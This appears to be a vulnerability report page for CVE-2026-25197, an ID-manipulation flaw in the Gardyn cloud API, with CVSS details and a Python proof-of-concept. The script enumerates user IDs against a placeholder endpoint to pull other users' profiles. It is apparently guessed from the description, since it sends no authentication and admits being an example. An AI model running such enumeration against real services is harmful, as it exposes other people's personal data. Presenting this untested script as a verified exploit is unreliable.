Security Vulnerability Report
中文
CVE-2026-25197 CVSS 9.1 CRITICAL

CVE-2026-25197

Published: 2026-04-03 21:17:10
Last Modified: 2026-04-22 18:08:01

Description

A specific endpoint allows authenticated users to pivot to other user profiles by modifying the id number in the API call.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mygardyn:cloud_api:*:*:*:*:*:*:*:* - VULNERABLE
Gardyn 设备固件及云服务 (参考 ICSA-26-055-03)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target endpoint (Example based on vulnerability description) target_url = "https://target-api.com/api/v1/user/profile" # Headers to mimic a legitimate request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Accept": "application/json", "Content-Type": "application/json" } # Exploit: Iterate through user IDs to pivot to other profiles # Assuming the API takes an 'id' parameter in the query or body for user_id in range(1, 100): params = { "id": user_id } try: response = requests.get(target_url, headers=headers, params=params, timeout=5) if response.status_code == 200: print(f"[+] Successfully accessed User ID: {user_id}") print(f"Data: {response.text}") elif response.status_code == 403 or response.status_code == 401: print(f"[-] Access denied for User ID: {user_id}") except Exception as e: print(f"[!] Error connecting to server: {e}") break

References

Raw JSON Data

JSON
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